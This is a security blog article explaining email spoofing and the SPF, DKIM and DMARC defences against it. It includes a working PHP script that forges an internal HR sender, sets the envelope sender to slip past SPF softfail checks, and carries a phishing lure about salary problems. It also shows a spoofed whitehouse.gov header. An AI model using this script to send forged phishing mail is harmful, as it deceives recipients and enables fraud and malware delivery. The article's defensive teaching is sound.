Email Spoofing

From Colin Hardy
Jump to: navigation, search

TL;DR


It is possible to spoof most any domain using a very easy to use PHP function known simply as mail. You can edit a multitude of parameters to make emails appear credible, use html based formatting, add attachments, and even get around SPF checks by spoofing the mail envelope sender metadata. Bad guys use these methods in an attempt to successfully deliver weaponised payloads to our machines with a view to infect them and infiltrate the network. Proper mail server quarantine configuration is key, as is employee engagement and awareness to combat the issue. The use of SPF, DKIM and DMARC should be very much considered in your environment to deal with the integrity of your outbound emails and also how you treat the results of inbound message spoofing.

Intro


Spoofing is a very useful technique adopted by Threat Actors to deliver emails to recipients in an attempt to make them seem credible. We all receive emails from Nigerian Princes asking us for $5,000 in the promise of untold fortunes in return. We all know these are fake...don't we?

The bad guys who are a little more serious will train their efforts and target their audience. I've seen literally hundreds of people fall for emails claiming to be from your local HR department informing you that you won't get paid on time as your bank details have expired. Who wouldn't open an email like that? Or what about, my personal favourite, an email from the DVLA telling you about your latest invoice for parking fines. Everybody hates a parking fine, and even more so when you believe it couldn't possibly be real - or could it!?!?

Example


So how do the crafty bad guys spoof their emails? The answer is simple, you can use a very simple script in PHP to generate almost any kind of message with any kind of attachment. Let's take a look at an example.

<?php
  $msg = "
    <html>
      <head>
        <title>Pay Review</title>
      </head>
      <body>
        <p>Dear Employee,</p>
        <p>There has been an issue with processing your salary this month. As a result you may be underpaid.</p>
        <p>Please review the attached information to confirm your details and ensure we receive the most up to date information.</p>
        <p>Regards</p>
        <p>Payments team, Company Name</p>
      </body>
    </html>";

  $subject = "Important - HR Details";
  $to = "victim@company.com";

  $headers   = array();
  $headers[] = "MIME-Version: 1.0";
  $headers[] = "Content-type: text/html; charset=UTF-8";
  $headers[] = "From: HR Team <some.one@company.com>";
  $headers[] = "Reply-To: Jane Smith <jsmith@bad-guy.com>";
  $headers[] = "Subject: {$subject}";
  $headers[] = "X-Mailer: PHP/".phpversion();

  $retval = mail($to, $subject, $msg, implode("\r\n", $headers), "-f some.one@company.com");

  if ( $retval == true ) {
     echo "Message sent successfully...\n";
  } else {
     echo "Message could not be sent...\n";
  }
?>

Now, assuming you have PHP installed on your device, you can save this file in a text editor, call it spoof.php and invoke the file as simply as :

$ php spoof.php

So how can it be this easy? This email likely made it in to the inbox of your 'victim', aren't there protection mechanisms to help defend against this? First, let's take a look at one of the core defence mechanisms, SPF.

Sender Policy Framework


SPF is a basic but very cool feature. It's a simple validation feature designed to detect spoofing. It works a charm, only if your mail server knows what to do with the result of an SPF check. To explain, each domain, let's say sender.com has a list of authorised sending hosts in a TXT entry in their DNS record. That means a recipient mail server, let's say recipient.com, can check to see if the mail server that sent the email claiming to be from sender.com did in fact originate from a sender.com authorised host. If the SPF check fails, i.e. the sender is found to not be an authorised host, then a result value will be passed back to the recipient mail server giving the mail server a choice of what to do with the email.

There are actually different types of failures that can occur and these depend on how the SPF TXT entry is configured in the DNS record of the sending host in question. Mostly, domains are set to SOFTFAIL, which means that email traffic will still be allowed to proceed even if the host sending this email is not in the authorised list. Did you get that? Most domains allow their emails to be spoofed. What the SOFTFAIL result does however, is give the recipient mail server, in this example recipient.com the chance to do something about the email before it gets to your inbox. Usually, this is simply a case of adding a few extra 'points' to the overall spam score of the mail, but if you play your cards right and keep that score low enough, you'll usually make it to the inbox and your email will appear genuine to the untrained eye.

Let's take a look at Googles SPF record:

$ nslookup -type=txt google.com
Server:		10.0.1.1
Address:	10.0.1.1#53

Non-authoritative answer:
google.com	text = "v=spf1 include:_spf.google.com ~all"

Authoritative answers can be found from:

The interesting part to us here is the character that precedes the word all, in this case it's the tilde sign ~all. This implies a SOFTFAIL policy is at play. The SPF Wikipedia page gives us a nice breakdown of the various qualifiers and their associated meaning:

  • + for a PASS result. This can be omitted; e.g., +mx is the same as mx.
  • ? for a NEUTRAL result interpreted like NONE (no policy).
  • ~ (tilde) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged.
  • - (minus) for FAIL, the mail should be rejected (see below).

So, this means I can tweak my script above and spoof my email to look like it was sent from google.com and google will leave the decision about whether to process the email up to the recipient mail server. Here is an example of what an email header looks like when the SPF result has returned with SOFTFAIL despite the email being delivered. I've xx'd out my IP address.

Received-SPF: softfail (google.com: domain of transitioning barrack.obama@whitehouse.gov does not designate xx.xx.xx.xx as permitted sender) client-ip=xx.xx.xx.xx;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning barrack.obama@whitehouse.gov does not designate xx.xx.xx.xx as permitted sender) smtp.mailfrom=barrack.obama@whitehouse.gov
Received: by Colins-MacBook-Pro.local (Postfix, from userid 501)
	id C547F145E29E; Wed,  6 Jul 2016 19:38:49 +0100 (BST)
To: victim@gmail.com
Subject: Come to the White House...

Domain Keys Identified Mail


Domain Keys Identified Mail (DKIM) is another protection mechanism which exists. A sender can add what is effectively a watermark to their email upon transmission which can then be verified by the recipient mail server. The recipient mail server has the choice still as to whether to check for the presence of domain keys and therefore has the choice to ignore the mechanism altogether, but by and large most mail servers nowadays do take advantage of DKIM. You should definitely therefore consider implementing it in your environment.

I encourage you to read more about DKIM, but essentially how it works is the email body is hashed using a hashing algorithm (e.g. SHA256) and so are certain header fields. The resulting hash is then encrypted using RSA and as such produces a signature of the email. The RSA encryption, as you know, employs the use of Public Key cryptography. Therefore the sending host encrypts the hash with their private key and publishes their public key in their DNS record. Then, when a recipient mail server receives your email it can look up your public key in your DNS record, using a pre-defined selector from your header signature, and decrypt the hash. The recipient then also recalculates the hash value itself and compares results to ensure the validity of the message.

DKIM is a really smart defence mechanism, but it's subject to some flaws. First, DKIM does not encompass the mail envelope which includes fields such as return path and also the message recipients. It is also subject to message replay attacks. Also, a genuine email can be obtained from a malicious actor which would be signed by the sender and sent to actors email. This can then be forwarded using the signature properties of the email. Other short comings also exist, but don't let that put you off implementing DKIM in your environment. Coupled with a good SPF policy both can be effective defences against SPAM and Spoofing.

Summary & DMARC


So, we've seen an example of how to use the PHP mail function to send legitimate looking emails to end user inboxes. In terms of protecting against it, more domains, in my view, should adopt a stricter SPF policy. Instead of SOFTFAIL (which a lot of businesses use because other third parties, such as marketing companies legitimately spoof their address on the company's behalf) hard coded authorised hosts could be input into the SPF TXT record and operate a straight FAIL policy mechanism.

Also, I love DKIM, I think it's been fantastic by way of protection against SPAM, however it has its limitations. The advent of DMARC is also pretty exciting. DMARC, or Domain-based Message Authentication Reporting & Conformance is an overseer of SPF and DKIM. A domain can publish a policy of their use of SPF and / or DKIM in their DNS record and again, a recipient mail server if configured to use DMARC can check the correct policy has been applied, make the appropriate checks to ensure validity and using the DMARC report settings, provide effective feedback to webmasters as to potential mis-use.

I encourage you to read more about SPF, DKIM and DMARC and welcome your ideas to effectively spoof and effectively defend against spoofing, to make the world a better place. :)

Further Reading